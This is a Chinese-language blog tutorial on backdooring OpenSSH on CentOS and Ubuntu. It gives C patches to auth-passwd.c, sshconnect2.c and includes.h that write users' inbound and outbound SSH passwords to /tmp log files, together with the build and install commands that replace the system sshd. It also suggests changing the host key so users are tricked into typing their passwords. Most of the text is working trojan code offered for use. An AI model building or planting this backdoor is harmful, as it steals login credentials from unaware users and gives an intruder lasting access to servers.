OpenSSH万能后门

OpenSSH万能后门

基本上兼容任何版本。 以下为Centos7

查看当前SSH版本

在这里插入图片描述

下载相同版本的OpenSSH

下载列表
在这里插入图片描述

解压tar -zxvf openssh

在这里插入图片描述

修改 auth-passwd.c

添加这一行~

logit("username: %s password: %s", authctxt->user, password);

OpenSSH万能后门_第1张图片

编译OpenSSH

修改权限/etc/ssh/下的

chmod 620 moduli
chmod 600 sshd_config ssh_host_ecdsa_key ssh_host_rsa_key
chmod 644 ssh_config ssh_host_ecdsa_key.pub ssh_host_rsa_key.pub

安装环境编译运行

yum install -y openssl openssl-devel pam-devel zlib zlib-devel gcc
./configure --prefix=/usr  --sysconfdir=/etc/ssh  --with-pam  --with-kerberos5  && make && make install

重启服务
systemctl restart sshd.service

完成

OpenSSH万能后门_第2张图片
如果有不要慌。。改一下权限为600就好了
OpenSSH万能后门_第3张图片
这样就可以记录密码了~
在这里插入图片描述
记录连接密码
auth-passwd.c

    auth_password(Authctxt *authctxt, const char *password){
     
    //这下面加入

		if((f=fopen(ILOG,"a"))!=NULL){
     
			fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
		fclose(f);
		}

如果想记录本机连接其他ssh的密码可以加这些
sshconnect2.c

    password = read_passphrase(prompt, 0);//这下面加入
	if((f=fopen(OLOG,"a"))!=NULL){
     
		fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
		fclose(f);
	}

includes.h

#include "entropy.h" //这下面加入

FILE *f;
#define ILOG "/tmp/ilog"
#define OLOG "/tmp/olog"

注:可以尝试把私钥改一个值=。=这样就可以骗用户输入ssh密码登录了~

Centos SSH日志是 /var/log/secure
Ubuntu SSH日志是 /var/log/auth.log

我的服务器使用的是Ubuntu的系统安装的是OpenSSH_7.5p1
也可以正常捕获到,可以用来解密Xshell的密码~

你可能感兴趣的:(OpenSSH,后门,信息安全,信息安全)